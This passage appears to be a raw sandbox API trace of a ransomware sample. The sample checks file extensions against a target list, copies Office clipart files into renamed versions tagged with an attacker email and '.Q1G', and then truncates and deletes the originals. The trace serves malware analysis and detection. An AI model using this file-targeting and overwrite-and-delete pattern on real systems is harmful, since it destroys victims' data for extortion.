(lpString1=".7z", lpString2="WMF") returned -1 [0252.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0252.033] lstrlenW (lpString=".dbf") returned 4 [0252.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0252.033] lstrlenW (lpString=".1cd") returned 4 [0252.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0252.033] lstrlenW (lpString=".jpg") returned 4 [0252.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0252.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0252.033] lstrlenW (lpString=".doc") returned 4 [0252.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.033] lstrlenW (lpString=".docx") returned 5 [0252.033] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.033] lstrlenW (lpString=".pdf") returned 4 [0252.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.033] lstrlenW (lpString=".xls") returned 4 [0252.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.033] lstrlenW (lpString=".xlsx") returned 5 [0252.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.033] lstrlenW (lpString=".ppt") returned 4 [0252.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0252.034] lstrlenW (lpString=".zip") returned 4 [0252.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.034] lstrlenW (lpString=".rar") returned 4 [0252.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.034] lstrlenW (lpString=".bz2") returned 4 [0252.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.034] lstrlenW (lpString=".7z") returned 3 [0252.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0252.034] lstrlenW (lpString=".dbf") returned 4 [0252.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0252.034] lstrlenW (lpString=".1cd") returned 4 [0252.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0252.034] lstrlenW (lpString=".jpg") returned 4 [0252.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.034] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.034] lstrlenW (lpString="HH01080_.WMF") returned 12 [0252.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0252.035] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=5000) returned 1 [0252.035] CloseHandle (hObject=0x324) returned 1 [0252.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x20 [0252.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0252.035] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.035] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0252.036] GetLastError () returned 0x0 [0252.036] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1388, lpOverlapped=0x0) returned 1 [0252.037] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0252.038] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.038] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.038] SetEndOfFile (hFile=0x1fc) returned 1 [0252.038] CloseHandle (hObject=0x1fc) returned 1 [0252.038] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.038] SetEndOfFile (hFile=0x324) returned 1 [0252.041] CloseHandle (hObject=0x324) returned 1 [0252.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0252.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0252.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0252.042] lstrlenW (lpString=".doc") returned 4 [0252.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.042] lstrlenW (lpString=".docx") returned 5 [0252.042] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.042] lstrlenW (lpString=".pdf") returned 4 [0252.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.042] lstrlenW (lpString=".xls") returned 4 [0252.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.042] lstrlenW (lpString=".xlsx") returned 5 [0252.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.042] lstrlenW (lpString=".ppt") returned 4 [0252.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0252.042] lstrlenW (lpString=".zip") returned 4 [0252.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.042] lstrlenW (lpString=".rar") returned 4 [0252.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.042] lstrlenW (lpString=".bz2") returned 4 [0252.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.042] lstrlenW (lpString=".7z") returned 3 [0252.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0252.042] lstrlenW (lpString=".dbf") returned 4 [0252.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0252.043] lstrlenW (lpString=".1cd") returned 4 [0252.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0252.043] lstrlenW (lpString=".jpg") returned 4 [0252.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0252.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0252.043] lstrlenW (lpString=".doc") returned 4 [0252.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.043] lstrlenW (lpString=".docx") returned 5 [0252.043] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.043] lstrlenW (lpString=".pdf") returned 4 [0252.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.043] lstrlenW (lpString=".xls") returned 4 [0252.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.043] lstrlenW (lpString=".xlsx") returned 5 [0252.043] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.043] lstrlenW (lpString=".ppt") returned 4 [0252.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0252.043] lstrlenW (lpString=".zip") returned 4 [0252.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.043] lstrlenW (lpString=".rar") returned 4 [0252.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.043] lstrlenW (lpString=".bz2") returned 4 [0252.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.043] lstrlenW (lpString=".7z") returned 3 [0252.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0252.043] lstrlenW (lpString=".dbf") returned 4 [0252.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0252.043] lstrlenW (lpString=".1cd") returned 4 [0252.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0252.044] lstrlenW (lpString=".jpg") returned 4 [0252.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.044] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.044] lstrlenW (lpString="HH01242_.WMF") returned 12 [0252.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.045] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=7340) returned 1 [0252.045] CloseHandle (hObject=0x394) returned 1 [0252.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x20 [0252.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.045] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.045] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0252.046] GetLastError () returned 0x0 [0252.046] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1cac, lpOverlapped=0x0) returned 1 [0252.048] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1cb0, lpOverlapped=0x0) returned 1 [0252.049] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.049] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.049] SetEndOfFile (hFile=0x324) returned 1 [0252.049] CloseHandle (hObject=0x324) returned 1 [0252.049] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.049] SetEndOfFile (hFile=0x394) returned 1 [0252.053] CloseHandle (hObject=0x394) returned 1 [0252.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0252.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0252.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0252.055] lstrlenW (lpString=".doc") returned 4 [0252.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.055] lstrlenW (lpString=".docx") returned 5 [0252.055] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.055] lstrlenW (lpString=".pdf") returned 4 [0252.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.055] lstrlenW (lpString=".xls") returned 4 [0252.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.055] lstrlenW (lpString=".xlsx") returned 5 [0252.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.055] lstrlenW (lpString=".ppt") returned 4 [0252.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0252.056] lstrlenW (lpString=".zip") returned 4 [0252.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.056] lstrlenW (lpString=".rar") returned 4 [0252.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.056] lstrlenW (lpString=".bz2") returned 4 [0252.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.056] lstrlenW (lpString=".7z") returned 3 [0252.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0252.056] lstrlenW (lpString=".dbf") returned 4 [0252.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0252.056] lstrlenW (lpString=".1cd") returned 4 [0252.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0252.056] lstrlenW (lpString=".jpg") returned 4 [0252.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0252.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0252.056] lstrlenW (lpString=".doc") returned 4 [0252.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.056] lstrlenW (lpString=".docx") returned 5 [0252.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.056] lstrlenW (lpString=".pdf") returned 4 [0252.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.056] lstrlenW (lpString=".xls") returned 4 [0252.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.056] lstrlenW (lpString=".xlsx") returned 5 [0252.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.056] lstrlenW (lpString=".ppt") returned 4 [0252.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0252.056] lstrlenW (lpString=".zip") returned 4 [0252.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.057] lstrlenW (lpString=".rar") returned 4 [0252.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.057] lstrlenW (lpString=".bz2") returned 4 [0252.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.057] lstrlenW (lpString=".7z") returned 3 [0252.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0252.057] lstrlenW (lpString=".dbf") returned 4 [0252.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0252.057] lstrlenW (lpString=".1cd") returned 4 [0252.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0252.057] lstrlenW (lpString=".jpg") returned 4 [0252.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.057] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.057] lstrlenW (lpString="HH01291_.WMF") returned 12 [0252.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.058] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=15806) returned 1 [0252.058] CloseHandle (hObject=0x394) returned 1 [0252.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x20 [0252.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.058] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.058] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0252.059] GetLastError () returned 0x0 [0252.059] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3dbe, lpOverlapped=0x0) returned 1 [0252.060] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0252.061] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.061] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.061] SetEndOfFile (hFile=0x324) returned 1 [0252.061] CloseHandle (hObject=0x324) returned 1 [0252.062] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.062] SetEndOfFile (hFile=0x394) returned 1 [0252.064] CloseHandle (hObject=0x394) returned 1 [0252.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0252.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0252.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0252.064] lstrlenW (lpString=".doc") returned 4 [0252.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.065] lstrlenW (lpString=".docx") returned 5 [0252.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.065] lstrlenW (lpString=".pdf") returned 4 [0252.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.065] lstrlenW (lpString=".xls") returned 4 [0252.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.065] lstrlenW (lpString=".xlsx") returned 5 [0252.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.065] lstrlenW (lpString=".ppt") returned 4 [0252.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0252.065] lstrlenW (lpString=".zip") returned 4 [0252.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.065] lstrlenW (lpString=".rar") returned 4 [0252.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.065] lstrlenW (lpString=".bz2") returned 4 [0252.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.065] lstrlenW (lpString=".7z") returned 3 [0252.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0252.065] lstrlenW (lpString=".dbf") returned 4 [0252.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0252.065] lstrlenW (lpString=".1cd") returned 4 [0252.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0252.065] lstrlenW (lpString=".jpg") returned 4 [0252.065] lstrcmpiW (lpString1=".jpg", 